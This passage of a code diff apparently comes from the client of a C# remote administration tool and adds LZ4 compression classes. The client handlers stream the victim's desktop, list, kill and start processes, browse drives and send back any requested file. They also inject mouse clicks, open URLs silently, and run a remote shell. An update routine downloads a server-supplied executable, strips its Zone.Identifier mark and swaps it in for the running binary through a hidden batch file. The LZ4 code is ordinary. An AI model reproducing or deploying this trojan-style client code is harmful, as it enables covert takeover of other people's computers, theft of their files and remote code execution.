byte[] desktop = Helper.CImgToByte(lastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg);
new Core.Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
desktop = null;
}
else
{
Bitmap currentDesktopScreenshot = Helper.GetDesktop(command.Mode, command.Number);
Bitmap changesScreenshot = Helper.GetDiffDesktop(lastDesktopScreenshot, currentDesktopScreenshot);
lastDesktopScreenshot = currentDesktopScreenshot;
byte[] desktop = Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png);
new Core.Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
desktop = null;
changesScreenshot = null;
currentDesktopScreenshot = null;
}
}
public static void HandleGetProcesses(Core.Packets.ServerPackets.GetProcesses command, Core.Client client)
{
Process[] pList = Process.GetProcesses();
string[] processes = new string[pList.Length];
int[] ids = new int[pList.Length];
string[] titles = new string[pList.Length];
int i = 0;
foreach (Process p in pList)
{
processes[i] = p.ProcessName + ".exe";
ids[i] = p.Id;
titles[i] = p.MainWindowTitle;
i++;
}
new Core.Packets.ClientPackets.GetProcessesResponse(processes, ids, titles).Execute(client);
}
public static void HandleKillProcess(Core.Packets.ServerPackets.KillProcess command, Core.Client client)
{
try
{
Process.GetProcessById(command.PID).Kill();
}
catch
{ }
HandleGetProcesses(new Core.Packets.ServerPackets.GetProcesses(), client);
}
public static void HandleStartProcess(Core.Packets.ServerPackets.StartProcess command, Core.Client client)
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.UseShellExecute = true;
startInfo.FileName = command.Processname;
Process.Start(startInfo);
HandleGetProcesses(new Core.Packets.ServerPackets.GetProcesses(), client);
}
public static void HandleDrives(Core.Packets.ServerPackets.Drives command, Core.Client client)
{
new Core.Packets.ClientPackets.DrivesResponse(System.Environment.GetLogicalDrives()).Execute(client);
}
public static void HandleDirectory(Core.Packets.ServerPackets.Directory command, Core.Client client)
{
try
{
DirectoryInfo dicInfo = new System.IO.DirectoryInfo(command.RemotePath);
FileInfo[] iFiles = dicInfo.GetFiles();
DirectoryInfo[] iFolders = dicInfo.GetDirectories();
string[] files = new string[iFiles.Length];
long[] filessize = new long[iFiles.Length];
string[] folders = new string[iFolders.Length];
int i = 0;
foreach (FileInfo file in iFiles)
{
files[i] = file.Name;
filessize[i] = file.Length;
i++;
}
if (files.Length == 0)
{
files = new string[] { "$$$EMPTY$$$$" };
filessize = new long[] { 0 };
}
i = 0;
foreach (DirectoryInfo folder in iFolders)
{
folders[i] = folder.Name;
i++;
}
if (folders.Length == 0)
folders = new string[] { "$$$EMPTY$$$$" };
new Core.Packets.ClientPackets.DirectoryResponse(files, folders, filessize).Execute(client);
}
catch
{
new Core.Packets.ClientPackets.DirectoryResponse(new string[] { "$$$EMPTY$$$$" }, new string[] { "$$$EMPTY$$$$" }, new long[] { 0 }).Execute(client);
}
}
public static void HandleDownloadFile(Core.Packets.ServerPackets.DownloadFile command, Core.Client client)
{
try
{
byte[] bytes = File.ReadAllBytes(command.RemotePath);
new Core.Packets.ClientPackets.DownloadFileResponse(Path.GetFileName(command.RemotePath), bytes, command.ID).Execute(client);
}
catch
{ }
}
public static void HandleMouseClick(Core.Packets.ServerPackets.MouseClick command, Core.Client client)
{
if (command.LeftClick)
{
SetCursorPos(command.X, command.Y);
mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
if (command.DoubleClick)
{
mouse_event(MOUSEEVENTF_LEFTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_LEFTUP, command.X, command.Y, 0, 0);
}
}
else
{
SetCursorPos(command.X, command.Y);
mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
if (command.DoubleClick)
{
mouse_event(MOUSEEVENTF_RIGHTDOWN, command.X, command.Y, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTUP, command.X, command.Y, 0, 0);
}
}
}
public static void HandleGetSystemInfo(Core.Packets.ServerPackets.GetSystemInfo command, Core.Client client)
{
try
{
new Core.Packets.ClientPackets.GetSystemInfoResponse(SystemCore.GetCpu(), SystemCore.GetRam(), SystemCore.GetGpu(), SystemCore.GetUsername(), SystemCore.GetPcName(), SystemCore.GetUptime(), SystemCore.GetLanIp(), SystemCore.WANIP).Execute(client);
}
catch
{ }
}
public static void HandleVisitWebsite(Core.Packets.ServerPackets.VisitWebsite command, Core.Client client)
{
string url = command.URL;
if (!url.StartsWith("http"))
url = "http://" + url;
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
if (!command.Hidden)
Process.Start(url);
else
{
try
{
HttpWebRequest Request = (HttpWebRequest)HttpWebRequest.Create(url);
Request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36";
Request.AllowAutoRedirect = true;
Request.Timeout = 10000;
Request.Method = "GET";
HttpWebResponse Response = (HttpWebResponse)Request.GetResponse();
Stream DataStream = Response.GetResponseStream();
StreamReader reader = new StreamReader(DataStream);
reader.Close();
DataStream.Close();
Response.Close();
}
catch
{ }
}
new Core.Packets.ClientPackets.Status("Visited Website").Execute(client);
}
}
public static void HandleShowMessageBox(Core.Packets.ServerPackets.ShowMessageBox command, Core.Client client)
{
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
new Core.Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
}
public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);
new Thread(new ThreadStart(() =>
{
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
return;
}
new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);
new Core.Packets.ClientPackets.Status("Updating...").Execute(client);
try
{
DeleteFile(tempFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(tempFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
throw new Exception("no pe file");
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 15 localhost > nul" + "\n" +
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
:
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 15 localhost > nul" + "\n" +
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = true;
startInfo.FileName = filename;
Process.Start(startInfo);
SystemCore.Disconnect = true;
client.Disconnect();
}
catch
{
DeleteFile(tempFile);
new Core.Packets.ClientPackets.Status("Update failed!").Execute(client);
return;
}
})).Start();
}
public static void HandleMonitors(Core.Packets.ServerPackets.Monitors command, Core.Client client)
{
new Core.Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
}
public static void HandleShellCommand(Core.Packets.ServerPackets.ShellCommand command, Core.Client client)
{
if (shell == null)
shell = new Shell();
string input = command.Command;
if (input == "exit")
CloseShell();
else
shell.ExecuteCommand(input);
}
public static void CloseShell()
{
if (shell != null)
{
shell.CloseSession();
shell = null;
}
}
}
}

View File

@ -0,0 +1,402 @@
using System;
using System.Diagnostics;
namespace LZ4
{
/// <summary>
/// Class for compressing a byte array into an LZ4 byte array.
/// </summary>
public unsafe class LZ4Compressor32
{
//**************************************
// Tuning parameters
//**************************************
// COMPRESSIONLEVEL :
// Increasing this value improves compression ratio
// Lowering this value reduces memory usage
// Reduced memory usage typically improves speed, due to cache effect (ex : L1 32KB for Intel, L1 64KB for AMD)
// Memory usage formula : N->2^(N+2) Bytes (examples : 12 -> 16KB ; 17 -> 512KB)
const int COMPRESSIONLEVEL = 12;
// NOTCOMPRESSIBLE_CONFIRMATION :
// Decreasing this value will make the algorithm skip faster data segments considered "incompressible"
// This may decrease compression ratio dramatically, but will be faster on incompressible data
// Increasing this value will make the algorithm search more before declaring a segment "incompressible"
// This could improve compression a bit, but will be slower on incompressible data
// The default value (6) is recommended
// 2 is the minimum value.
const int NOTCOMPRESSIBLE_CONFIRMATION = 6;
//**************************************
// Constants
//**************************************
const int HASH_LOG = COMPRESSIONLEVEL;
const int MAXD_LOG = 16;
const int MAX_DISTANCE = ((1 << MAXD_LOG) - 1);
const int MINMATCH = 4;
const int MFLIMIT = (LZ4Util.COPYLENGTH + MINMATCH);
const int MINLENGTH = (MFLIMIT + 1);
const uint LZ4_64KLIMIT = ((1U << 16) + (MFLIMIT - 1));
const int HASHLOG64K = (HASH_LOG + 1);
const int HASHTABLESIZE = (1 << HASH_LOG);
const int HASH_MASK = (HASHTABLESIZE - 1);
const int LASTLITERALS = 5;
const int SKIPSTRENGTH = (NOTCOMPRESSIBLE_CONFIRMATION > 2 ? NOTCOMPRESSIBLE_CONFIRMATION : 2);
const int SIZE_OF_LONG_TIMES_TWO_SHIFT = 4;
const int STEPSIZE = 4;
static byte[] DeBruijnBytePos = new byte[32] { 0, 0, 3, 0, 3, 1, 3, 0, 3, 2, 2, 1, 3, 2, 0, 1, 3, 3, 1, 2, 2, 2, 2, 0, 3, 1, 2, 0, 1, 0, 1, 1 };
//**************************************
// Macros
//**************************************
byte[] m_HashTable;
public LZ4Compressor32()
{
m_HashTable = new byte[HASHTABLESIZE * IntPtr.Size];
if (m_HashTable.Length % 16 != 0)
throw new Exception("Hash table size must be divisible by 16");
}
public byte[] Compress(byte[] source)
{
int maxCompressedSize = CalculateMaxCompressedLength(source.Length);
byte[] dst = new byte[maxCompressedSize];
int length = Compress(source, dst);
byte[] dest = new byte[length];
Buffer.BlockCopy(dst, 0, dest, 0, length);
return dest;
}
/// <summary>
/// Calculate the max compressed byte[] size given the size of the uncompressed byte[]
/// </summary>
/// <param name="uncompressedLength">Length of the uncompressed data</param>
/// <returns>The maximum required size in bytes of the compressed data</returns>
public int CalculateMaxCompressedLength(int uncompressedLength)
{
return uncompressedLength + (uncompressedLength / 255) + 16;
}
/// <summary>
/// Compress source into dest returning compressed length
/// </summary>
/// <param name="source">uncompressed data</param>
/// <param name="dest">array into which source will be compressed</param>
/// <returns>compressed length</returns>
public int Compress(byte[] source, byte[] dest)
{
fixed (byte* s = source)
fixed (byte* d = dest)
{
if (source.Length < (int)LZ4_64KLIMIT)
return Compress64K(s, d, source.Length, dest.Length);
return Compress(s, d, source.Length, dest.Length);
}
}
/// <summary>
/// Compress source into dest returning compressed length
/// </summary>
/// <param name="source">uncompressed data</param>
/// <param name="srcOffset">offset in source array where reading will start</param>
/// <param name="count">count of bytes in source array to compress</param>
/// <param name="dest">array into which source will be compressed</param>
/// <param name="dstOffset">start index in dest array where writing will start</param>
/// <returns>compressed length</returns>
public int Compress(byte[] source, int srcOffset, int count, byte[] dest, int dstOffset)
{
fixed (byte* s = &source[srcOffset])
fixed (byte* d = &dest[dstOffset])
{
if (source.Length < (int)LZ4_64KLIMIT)
return Compress64K(s, d, count, dest.Length - dstOffset);
return Compress(s, d, count, dest.Length - dstOffset);
}
}
int Compress(byte* source, byte* dest, int isize, int maxOutputSize)
{
fixed (byte* hashTablePtr = m_HashTable)
fixed (byte* deBruijnBytePos = DeBruijnBytePos)
{
Clear(hashTablePtr, sizeof(byte*) * HASHTABLESIZE);
byte** hashTable = (byte**)hashTablePtr;
byte* ip = (byte*)source;
int basePtr = 0; ;
byte* anchor = ip;
byte* iend = ip + isize;
byte* mflimit = iend - MFLIMIT;
byte* matchlimit = (iend - LASTLITERALS);
byte* oend = dest + maxOutputSize;
byte* op = (byte*)dest;
int len, length;
const int skipStrength = SKIPSTRENGTH;
uint forwardH;
// Init
if (isize < MINLENGTH) goto _last_literals;
// First Byte
hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))] = ip - basePtr;
ip++; forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG));
// Main Loop
for (; ; )
{
uint findMatchAttempts = (1U << skipStrength) + 3;
byte* forwardIp = ip;
byte* r;
byte* token;
// Find a match
do
{
uint h = forwardH;
uint step = findMatchAttempts++ >> skipStrength;
ip = forwardIp;
forwardIp = ip + step;
if (forwardIp > mflimit) { goto _last_literals; }
// LZ4_HASH_VALUE
forwardH = (((*(uint*)forwardIp) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG));
r = hashTable[h] + basePtr;
hashTable[h] = ip - basePtr;
} while ((r < ip - MAX_DISTANCE) || (*(uint*)r != *(uint*)ip));
// Catch up
while ((ip > anchor) && (r > (byte*)source) && (ip[-1] == r[-1])) { ip--; r--; }
// Encode Literal Length
length = (int)(ip - anchor);
token = op++;
if (length >= (int)LZ4Util.RUN_MASK) { *token = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); len = (int)(length - LZ4Util.RUN_MASK); for (; len > 254; len -= 255) *op++ = 255; *op++ = (byte)len; }
else *token = (byte)(length << LZ4Util.ML_BITS);
//Copy Literals
{ byte* e = (op) + length; do { *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; } while (op < e);; op = e; };
_next_match:
// Encode Offset
*(ushort*)op = (ushort)(ip - r); op += 2;
// Start Counting
ip += MINMATCH; r += MINMATCH; // MinMatch verified
anchor = ip;
// while (*(uint *)r == *(uint *)ip)
// {
// ip+=4; r+=4;
// if (ip>matchlimit-4) { r -= ip - (matchlimit-3); ip = matchlimit-3; break; }
// }
// if (*(ushort *)r == *(ushort *)ip) { ip+=2; r+=2; }
// if (*r == *ip) ip++;
while (ip < matchlimit - (STEPSIZE - 1))
{
int diff = (int)(*(int*)(r) ^ *(int*)(ip));
if (diff == 0) { ip += STEPSIZE; r += STEPSIZE; continue; }
ip += DeBruijnBytePos[((uint)((diff & -diff) * 0x077CB531U)) >> 27]; ;
goto _endCount;
}
if ((ip < (matchlimit - 1)) && (*(ushort*)(r) == *(ushort*)(ip))) { ip += 2; r += 2; }
if ((ip < matchlimit) && (*r == *ip)) ip++;
_endCount:
len = (int)(ip - anchor);
if (op + (1 + LASTLITERALS) + (len >> 8) >= oend) return 0; // Check output limit
// Encode MatchLength
if (len >= (int)LZ4Util.ML_MASK) { *token += (byte)LZ4Util.ML_MASK; len -= (byte)LZ4Util.ML_MASK; for (; len > 509; len -= 510) { *op++ = 255; *op++ = 255; } if (len > 254) { len -= 255; *op++ = 255; } *op++ = (byte)len; }
else *token += (byte)len;
// Test end of chunk
if (ip > mflimit) { anchor = ip; break; }
// Fill table
hashTable[(((*(uint*)ip - 2) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))] = ip - 2 - basePtr;
// Test next position
r = basePtr + hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))];
hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG))] = ip - basePtr;
if ((r > ip - (MAX_DISTANCE + 1)) && (*(uint*)r == *(uint*)ip)) { token = op++; *token = 0; goto _next_match; }
// Prepare next loop
anchor = ip++;
forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - HASH_LOG));
}
_last_literals:
// Encode Last Literals
{
int lastRun = (int)(iend - anchor);
if (((byte*)op - dest) + lastRun + 1 + ((lastRun - 15) / 255) >= maxOutputSize) return 0;
if (lastRun >= (int)LZ4Util.RUN_MASK) { *op++ = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); lastRun -= (byte)LZ4Util.RUN_MASK; for (; lastRun > 254; lastRun -= 255) *op++ = 255; *op++ = (byte)lastRun; }
else *op++ = (byte)(lastRun << LZ4Util.ML_BITS);
LZ4Util.CopyMemory(op, anchor, iend - anchor);
op += iend - anchor;
}
// End
return (int)(((byte*)op) - dest);
}
}
// Note : this function is valid only if isize < LZ4_64KLIMIT
int Compress64K(byte* source, byte* dest, int isize, int maxOutputSize)
{
fixed (byte* hashTablePtr = m_HashTable)
fixed (byte* deBruijnBytePos = DeBruijnBytePos)
{
Clear(hashTablePtr, sizeof(ushort) * HASHTABLESIZE * 2);
ushort* hashTable = (ushort*)hashTablePtr;
byte* ip = (byte*)source;
byte* anchor = ip;
byte* basep = ip;
byte* iend = ip + isize;
byte* mflimit = iend - MFLIMIT;
byte* matchlimit = (iend - LASTLITERALS);
byte* op = (byte*)dest;
byte* oend = dest + maxOutputSize;
int len, length;
const int skipStrength = SKIPSTRENGTH;
uint forwardH;
// Init
if (isize < MINLENGTH) goto _last_literals;
// First Byte
ip++; forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)));
// Main Loop
for (; ; )
{
int findMatchAttempts = (int)(1U << skipStrength) + 3;
byte* forwardIp = ip;
byte* r;
byte* token;
// Find a match
do
{
uint h = forwardH;
int step = findMatchAttempts++ >> skipStrength;
ip = forwardIp;
forwardIp = ip + step;
if (forwardIp > mflimit) { goto _last_literals; }
forwardH = (((*(uint*)forwardIp) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)));
r = basep + hashTable[h];
hashTable[h] = (ushort)(ip - basep);
} while (*(uint*)r != *(uint*)ip);
// Catch up
while ((ip > anchor) && (r > (byte*)source) && (ip[-1] == r[-1])) { ip--; r--; }
// Encode Literal Length
length = (int)(ip - anchor);
token = op++;
if (op + length + (2 + 1 + LASTLITERALS) + (length >> 8) >= oend) return 0; // Check output limit
if (length >= (int)LZ4Util.RUN_MASK) { *token = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); len = (int)(length - LZ4Util.RUN_MASK); for (; len > 254; len -= 255) *op++ = 255; *op++ = (byte)len; }
else *token = (byte)(length << LZ4Util.ML_BITS);
// Copy Literals
{ byte* e = (op) + length; do { *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; *(uint*)op = *(uint*)anchor; op += 4; anchor += 4; ; } while (op < e);; op = e; };
_next_match:
// Encode Offset
*(ushort*)op = (ushort)(ip - r); op += 2;
// Start Counting
ip += MINMATCH; r += MINMATCH; // MinMatch verified
anchor = ip;
// while (ip<matchlimit-3)
// {
// if (*(uint *)r == *(uint *)ip) { ip+=4; r+=4; continue; }
// if (*(ushort *)r == *(ushort *)ip) { ip+=2; r+=2; }
// if (*r == *ip) ip++;
while (ip < matchlimit - (STEPSIZE - 1))
{
int diff = (int)(*(int*)(r) ^ *(int*)(ip));
if (diff == 0) { ip += STEPSIZE; r += STEPSIZE; continue; }
ip += DeBruijnBytePos[((uint)((diff & -diff) * 0x077CB531U)) >> 27]; ;
goto _endCount;
}
if ((ip < (matchlimit - 1)) && (*(ushort*)r == *(ushort*)ip)) { ip += 2; r += 2; }
if ((ip < matchlimit) && (*r == *ip)) ip++;
_endCount:
len = (int)(ip - anchor);
//Encode MatchLength
if (len >= (int)LZ4Util.ML_MASK) { *token = (byte)(*token + LZ4Util.ML_MASK); len = (int)(len - LZ4Util.ML_MASK); for (; len > 509; len -= 510) { *op++ = 255; *op++ = 255; } if (len > 254) { len -= 255; *op++ = 255; } *op++ = (byte)len; }
else *token = (byte)(*token + len);
// Test end of chunk
if (ip > mflimit) { anchor = ip; break; }
// Fill table
hashTable[(((*(uint*)ip - 2) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)))] = (ushort)(ip - 2 - basep);
// Test next position
r = basep + hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)))];
hashTable[(((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)))] = (ushort)(ip - basep);
if (*(uint*)r == *(uint*)ip) { token = op++; *token = 0; goto _next_match; }
// Prepare next loop
anchor = ip++;
forwardH = (((*(uint*)ip) * 2654435761U) >> ((MINMATCH * 8) - (HASH_LOG + 1)));
}
_last_literals:
{
int lastRun = (int)(iend - anchor);
if (((byte*)op - dest) + lastRun + 1 + ((lastRun) >> 8) >= maxOutputSize) return 0;
if (lastRun >= (int)LZ4Util.RUN_MASK) { *op++ = (byte)(LZ4Util.RUN_MASK << LZ4Util.ML_BITS); lastRun -= (byte)LZ4Util.RUN_MASK; for (; lastRun > 254; lastRun -= 255) *op++ = 255; *op++ = (byte)lastRun; }
else *op++ = (byte)(lastRun << LZ4Util.ML_BITS);
LZ4Util.CopyMemory(op, anchor, iend - anchor);
op += iend - anchor;
}
return (int)(((byte*)op) - dest);
}
}
/// <summary>
/// TODO: test if this is faster or slower than Array.Clear.
/// </summary>
/// <param name="array"></param>
/// <param name="count"></param>
static void Clear(byte* ptr, int count)
{
long* p = (long*)ptr;
int longCount = count >> SIZE_OF_LONG_TIMES_TWO_SHIFT; // count / sizeof(long) * 2;
while (longCount-- != 0)
{
*p++ = 0L;
*p++ = 0L;
}
Debug.Assert(count % 16 == 0, "HashTable size must be divisible by 16");
//for (int i = longCount << 4 ; i < count; i++)
// ptr[i] = 0;
}
}
}

View File

@ -0,0 +1,258 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
namespace LZ4
{
/// <summary>
/// Class for decompressing an LZ4 compressed byte array.
/// </summary>
public unsafe class LZ4Decompressor32
{
const int STEPSIZE = 4;
static byte[] DeBruijnBytePos = new byte[32] { 0, 0, 3, 0, 3, 1, 3, 0, 3, 2, 2, 1, 3, 2, 0, 1, 3, 3, 1, 2, 2, 2, 2, 0, 3, 1, 2, 0, 1, 0, 1, 1 };
//**************************************
// Macros
//**************************************
readonly sbyte[] m_DecArray = new sbyte[8] { 0, 3, 2, 3, 0, 0, 0, 0 };
// Note : The decoding functions LZ4_uncompress() and LZ4_uncompress_unknownOutputSize()
// are safe against "buffer overflow" attack type
// since they will *never* write outside of the provided output buffer :
// they both check this condition *before* writing anything.
// A corrupted packet however can make them *read* within the first 64K before the output buffer.
/// <summary>
/// Decompress.
/// </summary>
/// <param name="source">compressed array</param>
/// <param name="dest">This must be the exact length of the decompressed item</param>
public void DecompressKnownSize(byte[] compressed, byte[] decompressed)
{
int len = DecompressKnownSize(compressed, decompressed, decompressed.Length);
Debug.Assert(len == decompressed.Length);
}
public int DecompressKnownSize(byte[] compressed, byte[] decompressedBuffer, int decompressedSize)
{
fixed (byte* src = compressed)
fixed (byte* dst = decompressedBuffer)
return DecompressKnownSize(src, dst, decompressedSize);
}
public int DecompressKnownSize(byte* compressed, byte* decompressedBuffer, int decompressedSize)
{
fixed (sbyte* dec = m_DecArray)
{
// Local Variables
byte* ip = (byte*)compressed;
byte* r;
byte* op = (byte*)decompressedBuffer;
byte* oend = op + decompressedSize;
byte* cpy;
byte token;
int len, length;
// Main Loop
while (true)
{
// get runLength
token = *ip++;
if ((length = (token >> LZ4Util.ML_BITS)) == LZ4Util.RUN_MASK) { for (; (len = *ip++) == 255; length += 255) { } length += len; }
cpy = op + length;
if (cpy > oend - LZ4Util.COPYLENGTH)
{
if (cpy > oend) goto _output_error;
LZ4Util.CopyMemory(op, ip, length);
ip += length;
break;
}
do { *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; } while (op < cpy); ; ip -= (op - cpy); op = cpy;
// get offset
{ r = (cpy) - *(ushort*)ip; }; ip += 2;
if (r < decompressedBuffer) goto _output_error;
// get matchLength
if ((length = (int)(token & LZ4Util.ML_MASK)) == LZ4Util.ML_MASK) { for (; *ip == 255; length += 255) { ip++; } length += *ip++; }
// copy repeated sequence
if (op - r < STEPSIZE)
{
const int dec2 = 0;
*op++ = *r++;
*op++ = *r++;
*op++ = *r++;
*op++ = *r++;
r -= dec[op - r];
*(uint*)op = *(uint*)r; op += STEPSIZE - 4;
r -= dec2;
}
else { *(uint*)op = *(uint*)r; op += 4; r += 4; ; }
cpy = op + length - (STEPSIZE - 4);
if (cpy > oend - LZ4Util.COPYLENGTH)
{
if (cpy > oend) goto _output_error;
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < (oend - LZ4Util.COPYLENGTH)); ;
while (op < cpy) *op++ = *r++;
op = cpy;
if (op == oend) break;
continue;
}
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < cpy); ;
op = cpy; // correction
}
// end of decoding
return (int)(((byte*)ip) - compressed);
// write overflow error detected
_output_error:
return (int)(-(((byte*)ip) - compressed));
}
}
public byte[] Decompress(byte[] compressed)
{
int length = compressed.Length;
int len;
byte[] dest;
const int Multiplier = 4; // Just a number. Determines how fast length should increase.
do
{
length *= Multiplier;
dest = new byte[length];
len = Decompress(compressed, dest, compressed.Length);
}
while (len < 0 || dest.Length < len);
byte[] d = new byte[len];
Buffer.BlockCopy(dest, 0, d, 0, d.Length);
return d;
}
public int Decompress(byte[] compressed, byte[] decompressedBuffer)
{
return Decompress(compressed, decompressedBuffer, compressed.Length);
}
public int Decompress(byte[] compressedBuffer, byte[] decompressedBuffer, int compressedSize)
{
fixed (byte* src = compressedBuffer)
fixed (byte* dst = decompressedBuffer)
return Decompress(src, dst, compressedSize, decompressedBuffer.Length);
}
public int Decompress(byte[] compressedBuffer, int compressedPosition, byte[] decompressedBuffer, int decompressedPosition, int compressedSize)
{
fixed (byte* src = &compressedBuffer[compressedPosition])
fixed (byte* dst = &decompressedBuffer[decompressedPosition])
return Decompress(src, dst, compressedSize, decompressedBuffer.Length);
}
public int Decompress(
byte* compressedBuffer,
byte* decompressedBuffer,
int compressedSize,
int maxDecompressedSize)
{
fixed (sbyte* dec = m_DecArray)
{
// Local Variables
byte* ip = (byte*)compressedBuffer;
byte* iend = ip + compressedSize;
byte* r;
byte* op = (byte*)decompressedBuffer;
byte* oend = op + maxDecompressedSize;
byte* cpy;
byte token;
int length;
// Main Loop
while (ip < iend)
{
// get runLength
token = *ip++;
if ((length = (token >> LZ4Util.ML_BITS)) == LZ4Util.RUN_MASK) { int s = 255; while ((ip < iend) && (s == 255)) { s = *ip++; length += s; } }
// copy literals
cpy = op + length;
if ((cpy > oend - LZ4Util.COPYLENGTH) || (ip + length > iend - LZ4Util.COPYLENGTH))
{
if (cpy > oend) goto _output_error; // Error : request to write beyond destination buffer
if (ip + length > iend) goto _output_error; // Error : request to read beyond source buffer
LZ4Util.CopyMemory(op, ip, length);
op += length;
ip += length;
if (ip < iend) goto _output_error; // Error : LZ4 format violation
break; //Necessarily EOF
}
do { *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; *(uint*)op = *(uint*)ip; op += 4; ip += 4; ; } while (op < cpy); ; ip -= (op - cpy); op = cpy;
// get offset
{ r = (cpy) - *(ushort*)ip; }; ip += 2;
if (r < decompressedBuffer) goto _output_error;
// get matchlength
if ((length = (int)(token & LZ4Util.ML_MASK)) == LZ4Util.ML_MASK) { while (ip < iend) { int s = *ip++; length += s; if (s == 255) continue; break; } }
// copy repeated sequence
if (op - r < STEPSIZE)
{
const int dec2 = 0;
*op++ = *r++;
*op++ = *r++;
*op++ = *r++;
*op++ = *r++;
r -= dec[op - r];
*(uint*)op = *(uint*)r; op += STEPSIZE - 4;
r -= dec2;
}
else { *(uint*)op = *(uint*)r; op += 4; r += 4; ; }
cpy = op + length - (STEPSIZE - 4);
if (cpy > oend - LZ4Util.COPYLENGTH)
{
if (cpy > oend) goto _output_error;
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < (oend - LZ4Util.COPYLENGTH)); ;
while (op < cpy) *op++ = *r++;
op = cpy;
if (op == oend) goto _output_error; // Check EOF (should never happen, since last 5 bytes are supposed to be literals)
continue;
}
do { *(uint*)op = *(uint*)r; op += 4; r += 4; ; *(uint*)op = *(uint*)r; op += 4; r += 4; ; } while (op < cpy); ;
op = cpy; // correction
}
return (int)(((byte*)op) - decompressedBuffer);
_output_error:
return (int)(-(((byte*)ip) - compressedBuffer));
}
}
}
}

View File

@ -0,0 +1,52 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace LZ4
{
/// <summary>
/// Constants and methods shared by LZ4Compressor and LZ4Decompressor
/// </summary>
internal class LZ4Util
{
//**************************************
// Constants
//**************************************
public const int COPYLENGTH = 8;
public const int ML_BITS = 4;
public const uint ML_MASK = ((1U << ML_BITS) - 1);
public const int RUN_BITS = (8 - ML_BITS);
public const uint RUN_MASK = ((1U << RUN_BITS) - 1);
public static unsafe void CopyMemory(byte* dst, byte* src, long length)
{
